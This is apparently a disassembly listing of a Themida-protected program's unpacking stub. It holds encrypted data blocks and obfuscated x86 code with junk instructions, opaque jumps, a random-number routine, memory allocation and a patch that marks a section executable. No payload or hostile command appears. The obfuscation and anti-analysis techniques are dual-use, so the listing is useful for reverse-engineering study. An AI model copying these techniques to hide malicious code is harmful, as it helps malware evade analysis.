dd 76FAB132h, 66CD8E9Ch, 3D49C4CEh, 370E3AF6h, 57AFEDBBh
dd 0A8E8BE52h, 0EECA42B9h, 0A92A4ECDh, 56EAB6DBh, 5EC14832h
dd 86FBBE79h, 565DB48Bh, 5722BE32h, 0AF57B132h, 0D7A41AC1h
dd 56D5B138h, 56EAB4DBh, 9B31FE32h, 2553BA7Fh, 59A24ECEh
dd 56AEBBB2h, 0A5D6D132h, 7F8BFD9Dh, 37B4D052h, 7F51D752h
dd 10BB3003h, 37DEF429h, 469F4DFBh, 3574D32h, 5643343Dh
dd 5942B132h, 5CD5B132h, 0A17E1322h, 2F48F19Bh, 0E87380AEh
dd 0BAD6ED7Ah, 56AF393Dh, 0D5ABB132h, 36574DF6h, 56D559CAh
dd 0D7B0B132h, 56AB58D8h, 0ECDCD13Ah, 363C0C7Dh, 7E70208Ah
dd 55DDBE3Eh, 30ABB132h, 0DDB472B9h, 5674B188h, 9F46493Ah
dd 56BABFDBh, 77D85532h, 583F18Bh, 0A62C4CF3h, 0D5ABBA20h
dd 0D2DAB10Dh, 56EAB2D0h, 51FE4DCAh, 56BB363Dh, 0A9A4B132h
dd 0A957BD47h, 5EBEB947h, 13ABB132h, 0FF1F2E5Fh, 66F0B8Fh
dd 567F3B3Dh, 59DAB132h, 565DB1BAh, 37653A32h, 565453DAh
dd 56BF5832h, 0CD72B132h, 0A31C639Dh, 2F548B4h, 0ADA32908h
dd 638C7370h, 96A505FFh, 5616343Dh, 5342B132h, 0E6D5B132h
dd 0E4DD7C04h, 0D77AB6B9h, 56BAB133h, 561458C7h, 7CEB132h
dd 5657A3DBh, 0DCDB3432h, 7A8483Fh, 0BC77051Eh, 39132561h
dd 98704EDh, 64FC6FB3h, 36CFD3F1h, 968C0FC7h, 0D5CAC2C3h
dd 533CA5F5h, 0ABEAB132h, 90F349A6h, 0A945FFDBh, 565458CDh
dd 0A9ADB132h, 0D8DF191Fh, 0DF39D479h, 59B54D77h, 0A98B6385h
dd 589CBD47h, 0C4BAB132h, 9397228Bh, 0DD9877A2h, 5830D5A7h
dd 56A158E8h, 0E18CB132h, 0ED6AD75Dh, 23FEE780h, 59B2C4CDh
dd 565DBDB2h, 56A95832h, 91E5B132h, 0F5C9606Bh, 59E24EBDh
dd 56EAA5BFh, 567A5832h, 132AB132h, 7328570Eh, 454BAAC1h
dd 0E930FA12h, 5456593Bh, 0D8DAB132h, 56EAB133h, 59B5BAC7h
dd 56BAB6B6h, 0E5B44832h, 0AEAEB130h, 59ABF4B9h, 56ABA4B1h
dd 56C55832h, 0CB6BB132h, 254A9EE7h, 515B375h, 5A5488F9h
dd 5197BBEBh, 54DB333Dh, 0AFCBB132h, 13D60E54h, 0AAAF4E53h
dd 5674393Dh, 0D54FB132h, 595DB54Dh, 56AEE0B6h, 56585832h
dd 3C0BB132h, 9235FD1Bh, 2AF14D5Ch, 0C5B102F5h, 573BBE15h
dd 0A35DB132h, 56A2CEB1h, 567B353Dh, 0DCA4B132h, 56D5B12Bh
dd 56EAA5DBh, 0B4B30532h, 344FBB93h, 0B2D57FEDh, 0EA39B528h
dd 0CE8C4B39h, 56FE58E2h, 5920B132h, 56EAB0B8h, 0A9CD4832h
dd 36454ECDh, 365641B2h, 136F3054h, 3736D1A0h, 56AE0853h
dd 59B5B132h, 47027685h, 0A775B132h, 3A891461h, 36B9EF94h
dd 0F658E6EFh, 0E2337514h, 0DF5B3054h, 0A5B4EB69h, 0EA034499h
dd 0BF8A4ECCh, 56BAB135h, 1FED18F5h, 0D57D96CCh, 5952A14Dh
dd 56ABD7B6h, 29564932h, 0D3E5B722h, 5675B1BBh, 48623052h
dd 302F3E91h, 37874A8Dh, 57DCBE73h, 0AEABB132h, 59D1F6B9h
dd 56EAA0BFh, 56795832h, 72A6B132h, 33D34B06h, 0F8275855h
dd 9DC9DB4h, 0A42AD13Eh, 6C45427h, 9E3677B3h, 0BF14D8AEh
dd 56BAB03Ch, 565DA3DBh, 1851FF32h, 29AD568Bh, 0E7D77CBFh
dd 0D4B97E28h, 0DD206B56h, 515B575h, 37E4D052h, 5951EEB9h
dd 56AEBABDh, 56515832h, 8345B132h, 0A14D39C0h, 56EA78DBh
dd 56725832h, 49CBB132h, 2608D6A3h, 52E93A08h, 5657B9DBh
dd 0F7F90F32h, 4D0114E8h, 5AB53AA6h, 459CE352h, 53BAB132h
dd 0F3C2BF20h, 24BD7E35h, 0ABC1F6C5h, 0F0B2BC18h, 598BFED3h
dd 56EAA7BBh, 56655932h, 39F0B132h, 0C9634641h, 0A98B98E7h
dd 0A1021DADh, 37F453B2h, 56C03F3Dh, 4603B132h, 5275B132h
dd 3E6DE044h, 429BBFA9h, 0BE46D44Bh, 7DFA2327h, 0D552B56Dh
dd 0D529B4D9h, 59E9A14Dh, 5675F4B7h, 56AB5832h, 7020B132h
dd 0C2AE53EDh, 9FCC882Fh, 63A6BF42h, 1724C223h, 56F3353Dh
dd 429CB132h, 56BAB132h, 0EF092449h, 0AB863B8Fh, 0A41ADB2Eh
dd 0F0078B22h, 0BF0BFC2Ch, 56EAB138h, 3E05A2C7h, 7D901A48h
dd 8F76C206h, 56AEB4DBh, 0DBB33032h, 0A2252E6h, 503CB033h
dd 19EAB132h, 0D0F91F5Dh, 56B758D0h, 0A679B132h, 0DF2C537h
dd 8CC01357h, 0EE4D9D89h, 0A92A4ECDh, 56EAA2DBh, 0AB41EC32h
dd 0FE810C82h, 508EAC44h, 0DCE86CBBh, 880E5BB1h, 56ABB48Bh
dd 0D8DA4D32h, 56EAB133h, 0A3DE42CBh, 0A94647DBh, 45D6BECDh
dd 0BFAEB132h, 5657B13Ch, 0D5E743E3h, 86442F36h, 0A7B81FAFh
dd 361438CBh, 307A063Dh, 63DD5AB3h, 5A20BE53h, 5957B132h
dd 56ABB7B4h, 5651BE32h, 9FEAB132h, 567D73C7h, 0D5B5D152h
dd 565DB132h, 51613054h, 0E831D0E5h, 3CA6FB1h, 825FE252h
dd 8761D768h, 0BAFE4453h, 56A95952h, 0BFE0B132h, 54145975h
dd 7FA0A5D6h, 38285F05h, 0AE5D63F3h, 37B149E8h, 0A38975B1h
dd 56BABFDBh, 0B62E7B32h, 0E3F91397h, 77E780F7h, 3663484Ch
dd 9644452h, 5EAF3A53h, 5A308ACBh, 568A333Dh, 6DA8B132h
dd 0D1A1A177h, 5657B114h, 0F27A3052h, 37C94972h, 5616F4F5h
dd 0AE75B132h, 56BAF5DBh, 56515832h, 981AB132h, 6BB40065h
dd 4F7D42D8h, 1312ACEBh, 56EAB0CEh, 56725832h, 6CBCB132h
dd 0B70228F0h, 56B558F4h, 0DB58B132h, 56ABB127h, 56DA393Dh
dd 5C03B132h, 0AF75B132h, 1DFE7CF7h, 788953D9h, 5947D086h
dd 0F657B132h, 0C9D145F8h, 1AFFE343h, 2DD90BE9h, 13FE392Ch
dd 0D8B5D1CEh, 565DB133h, 0AE11BECAh, 1377853h, 56B9586Ch
dd 8DB6B132h, 298E9C71h
dd 317B1BC5h, 8256C6BAh, 0E3854F72h, 56A27353h, 5650363Dh
dd 0D3A4B132h, 56D5B133h, 36BF44CBh, 56773B3Dh, 37DAB132h
dd 565DBBDBh, 3C590E32h, 6812EBA4h, 3775E4EFh, 0D52D5DB9h
dd 0D5E54DF6h, 5675B13Fh, 56BAB9DBh, 9DE4AB32h, 192A29ADh
dd 565058CAh, 1EA7B132h, 336C5DF8h, 0D9E5D11Ah, 5675B133h
dd 56BA59CBh, 0D707B132h, 564A24D8h, 59DFBE3Ah, 0BFABB132h
dd 56D5B138h, 0A96141B8h, 39747ED7h, 0D7DA6A32h, 5BA60BD0h
dd 542ABE42h, 3657B132h, 0D9A4D053h, 56D5B135h, 56EB3D3Dh
dd 658DB132h, 65424DFBh, 564C58E9h, 9B66B132h, 8B70E93Bh
dd 0DD3B7136h, 1A06526Dh, 0DF189E20h, 368D4D6Fh, 0D7603A54h
dd 12B48DE5h, 0EC25D046h, 5E572F32h, 56ABBFDBh, 0C71A4432h
dd 0B27D2DC5h, 88447A79h, 0D57D68E1h, 0D252B10Dh, 56AEB3A9h
dd 0E158D152h, 37CAD1E5h, 36B441B9h, 66944788h, 0BDF4D723h
dd 0D5DB5BADh, 0D3524E0Dh, 56AEB108h, 564558C7h, 0FAFAB132h
dd 0ADA12BB5h, 4ABA226Dh, 0C202917Dh, 1AC75378h, 0AF4976B1h
dd 0A95107DBh, 45D0BECDh, 0BFABB132h, 56D5B13Ch, 0B725F407h
dd 0DC0456A4h, 0C68DDA46h, 29DE0A8Ah, 0D2A1B136h, 5657B10Ah
dd 5AD432CAh, 7B51BE32h, 0BFEAB132h, 5675B139h, 0BB7BD291h
dd 614C8066h, 0BFEDA954h, 5657B141h, 56ABA2DBh, 1A4EC732h
dd 0A9A23648h, 0C29F55AAh, 0FAF1164Dh, 0CFCBFA53h, 0BF52F4CDh
dd 5657B13Dh, 846CC48Ah, 917326ACh, 0F22714BFh, 0A32876C4h
dd 0BFAE76B1h, 565DB138h, 7ADA24A9h, 42313ABBh, 7A4233EBh
dd 0BF2A4ECDh, 56EAB13Ch, 0C49362CFh, 0E00F2FF2h, 0E1712B7Dh
dd 4247CA5Ah, 6257B132h, 45300AF5h, 9F94D7ACh, 0E95E779Ch
dd 6B8A228Eh, 0D53E2A5Ch, 5958A14Dh, 56AE1FB6h, 56475832h
dd 6A7AB132h, 0E0CEB40h, 5B8E3A65h, 0EF81191h, 2939E199h
dd 0D352B722h, 56AEB18Ah, 5657A1DBh, 941A6532h, 0D198402Ch
dd 5FC390E7h, 0A79050AEh, 3646F058h, 0F3CD163h, 56AEA2DBh
dd 0C7C6F032h, 0CAEBF373h, 49A646BCh, 73E94B91h, 0FA884943h
dd 52FD3A53h, 565A3F3Dh, 5CEB132h, 1F833169h, 56A75853h
dd 0BAE7B132h, 0DA0391F3h, 563851F9h, 931843Bh, 5651583Eh
dd 0DE3EB132h, 0B08167B4h, 0B64E27CDh, 0BF20DAD5h, 56EAB19Bh
dd 567F3A3Dh, 5353B132h, 0ED5DB132h, 2325E780h, 5657BBDBh
dd 0F7A41A32h, 25CAF25Fh, 0DDA30E95h, 0DD8DB575h, 59DABD6Dh
dd 0DD3B7685h, 5047D0EAh, 0D157B132h, 2C19E6CBh, 5689589Fh
dd 0D68AB132h, 6153EDDh, 37DB4869h, 5959F6B9h, 56AEB6BCh
dd 0E958D132h, 375A3AF9h, 0AAD9EEB9h, 56E0323Dh, 3015B132h
dd 184267B3h, 377847B2h, 0A3AAEE19h, 0A3525AB1h, 55BBCEB1h
dd 56C9343Dh, 0DD8AB132h, 925D1ECh, 37643A54h, 5DB4F053h
dd 0C4AEB132h, 0E8ABD2C2h, 0FAA98337h, 8FFED97Ch, 56EAB9DBh
dd 0EC501332h, 1A8A596Fh, 5701384Bh, 56BD5833h, 6881B132h
dd 0D7FDF95Ah, 20E1B170h, 8C50E133h, 44E9F572h, 0A945092Dh
dd 5DB44ECDh, 18AEB132h, 0DF0354F0h, 0C41651h, 536CE49Ch
dd 36EAB132h, 56703E3Dh, 8903B132h, 370DF2C0h, 0BF561AC1h
dd 0A9A84C41h, 56A45852h, 2EBB132h, 0A8E35A3Ah, 6CE518D5h
dd 0CBB5E61Eh, 373C49F1h, 56AEB9DBh, 39994D32h, 7DC57C45h
dd 0AA903AFAh, 56EE323Dh, 715B132h, 0BF73D068h, 565DB13Fh
dd 0FEB22A54h, 1E4B8A73h, 0D48ECBC8h, 0BFB57291h, 56EAB122h
dd 6C695C6Bh, 0F6B3D4A2h, 0CCC095C1h, 19F9DDA0h, 56593A3Dh
dd 5F42B132h, 91D5B132h, 0E118DB09h, 0F2E0FA6Ch, 0D7B5E153h
dd 565DB133h, 5A47E0CBh, 0FF57B132h, 93739F42h, 9605CF54h
dd 5EFDEDEh, 567058CEh, 1FCEB132h, 0BE0CB958h, 56AEB132h
dd 6DBD3068h, 0BFA3B1DAh, 56D5B13Ch, 88A9473Ah, 176207BFh
dd 3BC8B0BAh, 46B452E4h, 0AEB132h, 0E1667350h, 0DCE50FE5h
dd 251D8329h, 0DB85EA4Ch, 56EB50A8h, 3202483Ah, 0A35DB132h
dd 902FD152h, 3A47F072h, 68F0A53h, 0BEB49011h, 56EAB413h
dd 0D97AD152h, 56BAB132h, 565DBCDAh, 7EA5CB32h, 0AD7914A6h
dd 6056BB8Bh, 378EE442h, 37113A54h, 6D89BAB9h, 56B558F3h
dd 0B651B132h, 0CB8B66B6h, 93ADE4A3h, 14043AF2h, 56DE585Ch
dd 46AAB132h, 3FC7E56Ah, 0E95CA72Eh, 56CA58CCh, 4CEB132h
dd 0CD18A689h, 55CAEB01h, 6D2CB579h, 8C68BEF3h, 5975B132h
dd 56BAB6B5h, 57D3BE32h, 0A3AEB132h, 0AF47FA31h, 0D4A47009h
dd 56D5B107h, 0EC203052h, 0DD1362C3h, 1253D0CCh, 365DB132h
dd 56AEBEDAh, 6E601232h, 622DB7B4h, 5CC7F81Eh, 8C57B8AAh
dd 54F2BE6Bh, 36BAB132h, 0E33DD053h, 8011BE17h, 569A5853h
dd 4242B132h, 27D5B132h, 0A4B6CC40h, 404BED5Bh, 8D553AB2h
dd 0E5EE554Dh, 0BFAE9EE2h, 5657B19Dh, 56ABBDDBh, 1F3B32h
dd 92148A1h, 879D3511h, 54203CB1h, 3655B05Ah, 0EC693054h
dd 0A4D6D7CEh, 0A9CAF45Ch, 56D358E1h, 8E38B132h, 35577FEBh
dd 56BD3B3Dh, 0D952B132h, 56AEB133h, 563A58CAh, 0D5A4B132h
dd 56D5B113h, 0B96BD752h, 429DFDBAh, 51BAB132h, 0CADE95FBh
dd 4174211h, 0F311FF90h, 0EAB08DFAh, 0CDF1C9Dh, 7E703C53h
dd 367DB059h, 56BABCDBh, 167E4A32h, 0D8BC34C5h, 0D0B1CEFFh
dd 0DEA40826h, 56D5B133h, 598AD0CAh, 0DF7A4685h, 56BAB122h
dd 565DBADBh, 2B659632h, 0BE2A97C9h, 4D956A62h, 59064E53h
dd 56EAB0B2h, 0D894432h, 0C7693052h, 3025A5F1h, 0FCF42B9h
dd 5656343Dh, 595EB132h, 56D5B9BFh, 546FBE32h, 3675B132h
dd 6DAE953h, 565D393Dh, 59F5B132h, 5657B0B4h, 95CA4832h
dd 56D4303Dh, 316B132h, 567C5952h, 730EB132h, 0A5F5EEh
dd 0BFC384C3h, 5657B126h, 3256B173h, 3BF9697Dh, 0D8AD2ED2h
dd 0E467B01Ah, 3BF84D55h, 565A586Ch, 1AB8B132h, 0AB5FD755h
dd 0BA20D00Eh, 5D6AD752h, 372104E3h, 5675B1DAh, 0BC3BEB32h
dd 5E5D5BA2h, 29443052h, 3718B32Bh, 5D42D1CAh, 0D6D5B132h
dd 332AF39h, 63694759h, 0EC377598h, 5E5D2FD3h, 6673152h
dd 5653363Dh, 0EFCDB132h, 0DDB497B1h, 4603B977h, 975B132h
dd 840D77F1h, 0DA1901DCh, 462C91E6h, 0AFCB4858h, 0E2CBB6BBh
dd 996ABE10h, 5AAF3A53h, 523238CBh, 56AD353Dh, 0D352B132h
dd 56AEB123h, 5657BDDBh, 0CF212532h, 64FB1B25h, 52981FCFh
dd 46303A9Dh, 4305D752h, 11D4D02Fh, 1325493Eh, 0E158D126h
dd 56AC58C2h, 4525B132h, 0CA2D4EAFh, 11FCD075h, 59DB4422h
dd 565DB0B0h, 0AA674D32h, 0AE57A1F0h, 962BD152h, 8F6ABEFEh
dd 336F7753h, 11724B34h, 56BAA0DBh, 0B90B8F32h, 4B95C10Eh
dd 9610E0B4h, 100D15CFh, 4CBDA77Fh, 3642A641h, 41833052h
dd 309FFD31h, 35AB59B3h, 37F1E053h, 76C204CDh, 0D2A4B6C8h
dd 56D5B128h, 56FE3C3Dh, 599CB132h, 5ABAB132h, 8AFBFB12h
dd 0D9B6E32Dh, 0AD0AEED7h, 0D3268EF4h, 512812EFh, 965DBE52h
dd 274AAC88h, 8645D079h, 56513F3Dh, 5147B132h, 8F57B132h
dd 0D8A2EA22h, 0AAB58B08h, 0DB16E353h, 56D5A7B8h, 0D7DCD13Ah
dd 59137DE3h, 56AEBDBFh, 56505832h, 1875B132h, 2450A658h
dd 712D01Bh, 5675BADBh, 1B789732h, 0B75608E8h, 68525208h
dd 50BE61CDh, 65ABB132h, 0EF105C4Ah, 3616EB5Eh, 5675BEDBh
dd 4882EE32h, 6268DF1Dh, 945B727h, 2FE30931h, 40293C53h
dd 0AFDDB192h, 5AAA063Dh
dd 56793D3Dh, 0DAB5B132h, 565DB134h, 56AE333Dh, 8EDCB132h
dd 0A352E3CAh, 0BF20803Dh, 56EAB121h, 5ED78D13h, 16A9B4ABh
dd 527BD135h, 0A944E021h, 0C9E38F8h, 0BF68B2CBh, 56D5B120h
dd 61427311h, 0FFF17315h, 0F9117495h, 0E4E59050h, 5A47B777h
dd 0DC57B132h, 0B98A9298h, 9A345423h, 0DF1A2C58h, 0AC40B4B0h
dd 0BFDB4435h, 565DB134h, 39B5839h, 5994D0F4h, 56ABB0BEh
dd 0E9514432h, 0Fh, 78EAA00Ah, 432BD75Ah, 0A03BF5FDh, 527080F5h
dd 198E0Fh, 66600000h, 0E90197BBh, 0Eh, 0DA1A9A95h, 0C3E70820h
dd 0A55C5E0Eh, 0E8618CE6h, 0
; ---------------------------------------------------------------------------
pop edx
sub edx, 800ECDFh
stc
jg loc_5F212F
stc
loc_5F212F: ; CODE XREF: Themida_:005F2128j
jl loc_5F2136
cld
loc_5F2136: ; CODE XREF: Themida_:loc_5F212Fj
push edx
clc
cld
mov eax, [edx+7FA3505h]
jmp loc_5F2157
; ---------------------------------------------------------------------------
dd 13C97CC5h, 1BBA73C4h, 0B5073B02h, 673F83F5h
db 0E3h, 5Bh, 12h
; ---------------------------------------------------------------------------
loc_5F2157: ; CODE XREF: Themida_:005F213Fj
mov ecx, 41C64E6Dh
ja loc_5F216E
jle loc_5F216E
jg $+6
loc_5F216E: ; CODE XREF: Themida_:005F215Cj
; Themida_:005F2162j
jmp loc_5F2179
; ---------------------------------------------------------------------------
db 3Eh
; ---------------------------------------------------------------------------
rol dword ptr [edx], 59h
push es
daa
loc_5F2179: ; CODE XREF: Themida_:loc_5F216Ej
mul ecx
jmp loc_5F218A
; ---------------------------------------------------------------------------
les ecx, [ebp-64h]
lds esi, [edx]
retn 8161h
; ---------------------------------------------------------------------------
db 5Bh, 0E8h
; ---------------------------------------------------------------------------
loc_5F218A: ; CODE XREF: Themida_:005F217Bj
pop edx
jnb loc_5F2198
jg loc_5F2198
clc
loc_5F2198: ; CODE XREF: Themida_:005F218Bj
; Themida_:005F2191j
add eax, 3039h
jnb loc_5F21AE
pusha
mov ax, 0B043h
mov ebx, 71A39953h
popa
loc_5F21AE: ; CODE XREF: Themida_:005F219Dj
and eax, 7FFFFFFFh
stc
mov [edx+7FA3505h], eax
pusha
call sub_5F21CF
and eax, 5EDB8F2h
outsd
test [ecx+ecx*2], al
fidivr dword ptr [ebp-508611D3h]
; =============== S U B R O U T I N E =======================================
sub_5F21CF proc near ; CODE XREF: Themida_:005F21BBp
adc ecx, 7ED8A150h
pop edi
cmc
popa
pop edx
pusha
movzx edi, dx
mov eax, edx
popa
pop ecx
jmp locret_5F21EB
; ---------------------------------------------------------------------------
dw 0FE5Eh
db 6Eh, 0D6h, 2Eh
; ---------------------------------------------------------------------------
locret_5F21EB: ; CODE XREF: sub_5F21CF+12j
retn
sub_5F21CF endp ; sp-analysis failed
; ---------------------------------------------------------------------------
cmc
push ecx
cld
push edx
jg loc_5F2216
pusha
call sub_5F220E
fldcw word ptr [ecx-37h]
push es
pop ss
xchg eax, ecx
scasd
push 21AF0083h
retn
; ---------------------------------------------------------------------------
db 0E0h, 95h, 0EBh
; ---------------------------------------------------------------------------
les ecx, [ebx]
; =============== S U B R O U T I N E =======================================
sub_5F220E proc near ; CODE XREF: Themida_:005F21F7p
; FUNCTION CHUNK AT 005F2276 SIZE 00000041 BYTES
; FUNCTION CHUNK AT 005F22C9 SIZE 00000014 BYTES
pop esi
jnp $+6
popa
loc_5F2216: ; CODE XREF: Themida_:005F21F0j
call $+5
pop edx
sub edx, 800EDDAh
jmp loc_5F222C
; ---------------------------------------------------------------------------
db 0E5h
dd 3802067Ah
; ---------------------------------------------------------------------------
loc_5F222C: ; CODE XREF: sub_5F220E+14j
cmc
pusha
call near ptr loc_5F223B+1
mov ds:9DBD0A79h, eax
jns short loc_5F2276
pop edx
loc_5F223B: ; CODE XREF: sub_5F220E+20p
add esp, [esi-7Fh]
sub_5F220E endp ; sp-analysis failed
retf 198Ch
; ---------------------------------------------------------------------------
pop edi
mov eax, 1552BDBEh
popa
pusha
or di, 8D99h
push ebx
jmp loc_5F2268
; ---------------------------------------------------------------------------
dd 0AD1C0E51h, 4FA22D29h, 3D731DD6h, 29CF1DFAh, 0BA6FDBBFh
; ---------------------------------------------------------------------------
loc_5F2268: ; CODE XREF: Themida_:005F224Fj
pop esi
popa
mov ecx, eax
jmp loc_5F2276
; ---------------------------------------------------------------------------
db 0A7h, 12h, 0E8h
db 0DFh, 34h
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5F220E
loc_5F2276: ; CODE XREF: sub_5F220E+2Aj
; Themida_:005F226Cj
call near ptr dword_5F206C+7Ah
jnp loc_5F2282
cmc
loc_5F2282: ; CODE XREF: sub_5F220E+6Dj
xor edx, edx
jnb loc_5F2297
pusha
adc edx, 34A789E5h
adc bx, 24FEh
popa
loc_5F2297: ; CODE XREF: sub_5F220E+76j
div ecx
clc
jz loc_5F22A6
pusha
movsx esi, dx
stc
popa
loc_5F22A6: ; CODE XREF: sub_5F220E+8Cj
mov eax, edx
jz loc_5F22B1
pusha
cld
popa
loc_5F22B1: ; CODE XREF: sub_5F220E+9Aj
pop edx
jmp loc_5F22C9
; END OF FUNCTION CHUNK FOR sub_5F220E
; ---------------------------------------------------------------------------
db 0E3h
dd 7F8777D9h, 0CD08D6F0h, 0A21102C9h, 45C5C18Bh
; ---------------------------------------------------------------------------
pop edi
; START OF FUNCTION CHUNK FOR sub_5F220E
loc_5F22C9: ; CODE XREF: sub_5F220E+A4j
cmc
pop ecx
pusha
sub ah, 13h
jl loc_5F22DB
jnb $+6
loc_5F22DB: ; CODE XREF: sub_5F220E+C1j
popa
retn
; END OF FUNCTION CHUNK FOR sub_5F220E
; ---------------------------------------------------------------------------
jmp loc_5F22E9
; ---------------------------------------------------------------------------
dw 7C53h
dd 0F2F978DFh
db 24h
; ---------------------------------------------------------------------------
loc_5F22E9: ; CODE XREF: Themida_:005F22DDj
mov eax, eax
cmc
mov eax, eax
jnz loc_5F2300
jle loc_5F2300
jle $+6
loc_5F2300: ; CODE XREF: Themida_:005F22EEj
; Themida_:005F22F4j
lea eax, [ebp+800B5E7h]
pusha
mov ebx, edx
add di, 4406h
popa
stc
call eax
stc
mov ax, cx
cld
lea eax, [ebp+800ECA5h]
clc
mov [ebp+7FA1DF1h], eax
jmp loc_5F232E
; ---------------------------------------------------------------------------
db 84h, 97h, 3Ch
db 58h, 0E0h
; ---------------------------------------------------------------------------
loc_5F232E: ; CODE XREF: Themida_:005F2324j
lea eax, [ebp+800EDACh]
pusha
jmp loc_5F234A
; ---------------------------------------------------------------------------
dw 0A1FEh
dd 8F80FACEh, 0FABE6B5Dh, 5AF5F210h
db 62h, 5Eh
; ---------------------------------------------------------------------------
loc_5F234A: ; CODE XREF: Themida_:005F2335j
mov dx, si
popa
mov [ebp+7FA1629h], eax
stc
mov eax, 0
jg loc_5F2367
jnb loc_5F2367
clc
loc_5F2367: ; CODE XREF: Themida_:005F235Aj
; Themida_:005F2360j
or eax, eax
jz loc_5F24E5
jnb loc_5F237C
jns loc_5F237C
stc
loc_5F237C: ; CODE XREF: Themida_:005F236Fj
; Themida_:005F2375j
clc
mov byte ptr [ebp+7FA0665h], 56h
jmp loc_5F2399
; ---------------------------------------------------------------------------
db 0A7h, 0F7h, 62h
dd 0D2F32659h, 0F7840072h, 26498819h
db 63h
; ---------------------------------------------------------------------------
loc_5F2399: ; CODE XREF: Themida_:005F2384j
jmp loc_5F23B1
; ---------------------------------------------------------------------------
dw 0D17Ah
dd 119DA59Dh, 0ECCE3BABh, 0A07B4D3Dh, 0B8BBD635h
db 0BCh
; ---------------------------------------------------------------------------
loc_5F23B1: ; CODE XREF: Themida_:loc_5F2399j
push 0A9C530DFh
jmp loc_5F23C3
; ---------------------------------------------------------------------------
db 56h
dd 3805EEAh
; ---------------------------------------------------------------------------
imul esi, esp, -1Bh
loc_5F23C3: ; CODE XREF: Themida_:005F23B6j
push dword ptr [ebp+7FA2095h]
pusha
pusha
movsx ecx, dx
mov ecx, 66B2D9F6h
popa
jmp loc_5F23E8
; ---------------------------------------------------------------------------
cmp [ebx+7EB0E8DDh], ah
cli
ror byte ptr [eax+eax+49E0A71Eh], 1
dec esi
loc_5F23E8: ; CODE XREF: Themida_:005F23D4j
popa
lea eax, [ebp+7FDA3DDh]
pusha
add edx, 63A0A83Eh
popa
cmc
call eax
cmc
jnz loc_5F2411
jmp loc_5F2411
; ---------------------------------------------------------------------------
dw 0B2F3h
dd 0F29B2C3Eh, 0EA57E11Eh
; ---------------------------------------------------------------------------
inc ebp
loc_5F2411: ; CODE XREF: Themida_:005F23FBj
; Themida_:005F2401j
push eax
jg loc_5F2419
cld
loc_5F2419: ; CODE XREF: Themida_:005F2412j
lea ecx, [ebp+7FA30DDh]
pusha
mov ecx, 0D8F970Eh
mov ax, 0C2FDh
popa
push ecx
jns loc_5F2444
jmp loc_5F2444
; ---------------------------------------------------------------------------
dw 0FDC6h
dd 4658729Ah, 0E20C1C1Fh, 0FEC4705Fh
; ---------------------------------------------------------------------------
loc_5F2444: ; CODE XREF: Themida_:005F242Bj
; Themida_:005F2431j
clc
push 4
pusha
pusha
pusha
popa
push edx
pop esi
popa
jmp loc_5F245D
; ---------------------------------------------------------------------------
db 0BBh
; ---------------------------------------------------------------------------
mov cl, 9Fh
db 2Eh
or eax, 8A229FD5h
inc edi
loc_5F245D: ; CODE XREF: Themida_:005F244Ej
popa
push 1000h
ja loc_5F246A
cld
loc_5F246A: ; CODE XREF: Themida_:005F2463j
push dword ptr [ebp+7FA14A9h]
pusha
sub cl, 3Eh
pusha
add cx, 4832h ; CODE XREF: Themida_:005F24A3j
popa
popa
call eax
clc
loc_5F247F: ; CODE XREF: Themida_:005F24BFj
mov edi, [ebp+7FA14A9h]
stc
add edi, [edi+3Ch]
pusha
jbe loc_5F2496
jp $+6
loc_5F2496: ; CODE XREF: Themida_:005F248Aj
call near ptr loc_5F24AD+1
xchg ebp, esp
les edi, [edx+58BADE26h]
jle short near ptr loc_5F2475+2
das
loc_5F24A6: ; CODE XREF: Themida_:005F24AAj
xor dh, [ebx+edx*8-71h]
jbe short loc_5F24A6
cwde
loc_5F24AD: ; CODE XREF: Themida_:loc_5F2496p
fld1
adc [eax], al
; ---------------------------------------------------------------------------
db 3 dup(0)
; ---------------------------------------------------------------------------
xlat
push ecx
inc esi
test cl, 0Ah
adc eax, 992D563Ch
jo short loc_5F247F
adc esi, eax
pop esi
pop ebx
popa
add edi, 0F8h
cmc
mov dword ptr [edi+24h], 60000020h
clc
jmp loc_5F24E5
; ---------------------------------------------------------------------------
dw 0D62Fh
dd 0A28FBF3Dh, 69946C69h
db 0FEh
; ---------------------------------------------------------------------------
loc_5F24E5: ; CODE XREF: Themida_:005F2369j
; Themida_:005F24D5j
lea ebx, [ebp+7FA2719h]
clc
stc
mov eax, [ebx]
pusha
movzx ecx, ax
mov edx, 4292FC4Ch
popa
or eax, eax
jz loc_5F2534
clc
mov eax, [eax]
jp loc_5F251A
jmp loc_5F251A
; ---------------------------------------------------------------------------
push cs
sbb esi, [esi]
push ss
dec eax
and al, 90h
scasd
xor [edx-56h], edi
loc_5F251A: ; CODE XREF: Themida_:005F2504j
; Themida_:005F250Aj
mov [ebx+4], eax
jmp loc_5F2534
; ---------------------------------------------------------------------------
dw 2900h
dd 892021FAh, 15C4DD67h, 58C2F396h, 7346F4B6h
; ---------------------------------------------------------------------------
loc_5F2534: ; CODE XREF: Themida_:005F24FBj
; Themida_:005F251Dj
mov ecx, 234CF6h
call near ptr loc_5F2544+1
in eax, dx
pop es
inc edi
out 5Eh, al
movsb
loc_5F2544: ; CODE XREF: Themida_:005F2539p
or [eax+0F58FCDBh], eax
add byte ptr [ebx], 0
; ---------------------------------------------------------------------------
db 2 dup(0), 66h
; ---------------------------------------------------------------------------
mov ebx, ecx
add eax, 6782h
movsx ebx, di
push 19B5h
and ebx, 1C7BB6F5h
pop edi
jg loc_5F256F
mov dh, ch
; START OF FUNCTION CHUNK FOR sub_5F25A3
loc_5F256F: ; CODE XREF: Themida_:005F2567j
; sub_5F25A3:loc_5F25DBj
mov ecx, [eax]
sub dx, 0E58Bh
xor ecx, 5933FFB1h
cld
add ecx, 0AE9FF53h
movzx edx, dx
add ecx, 117B3765h
cmc
push ecx
call near ptr sub_5F25A3
movsd
mov edx, [edx-5E965E4Dh]
mov dword ptr [esi-25h], 4CD976FCh
xor [eax], al
; END OF FUNCTION CHUNK FOR sub_5F25A3
; =============== S U B R O U T I N E =======================================
sub_5F25A3 proc far ; CODE XREF: sub_5F25A3-15p
; FUNCTION CHUNK AT 005F256F SIZE 00000034 BYTES
pop esi
pop dword ptr [eax]
clc
sub eax, 4
mov ebx, eax
dec edi
jnz loc_5F25CF
sbb bx, 149Bh
jmp loc_5F25F0
; ---------------------------------------------------------------------------
and [ecx+0C497EF1h], edx
cdq
xor [edx+edx*8], edi
xor eax, 0D6C6B080h
push ss
sub cl, bh
loc_5F25CF: ; CODE XREF: sub_5F25A3+Aj
js loc_5F25DB
and ebx, 2554D19Ah
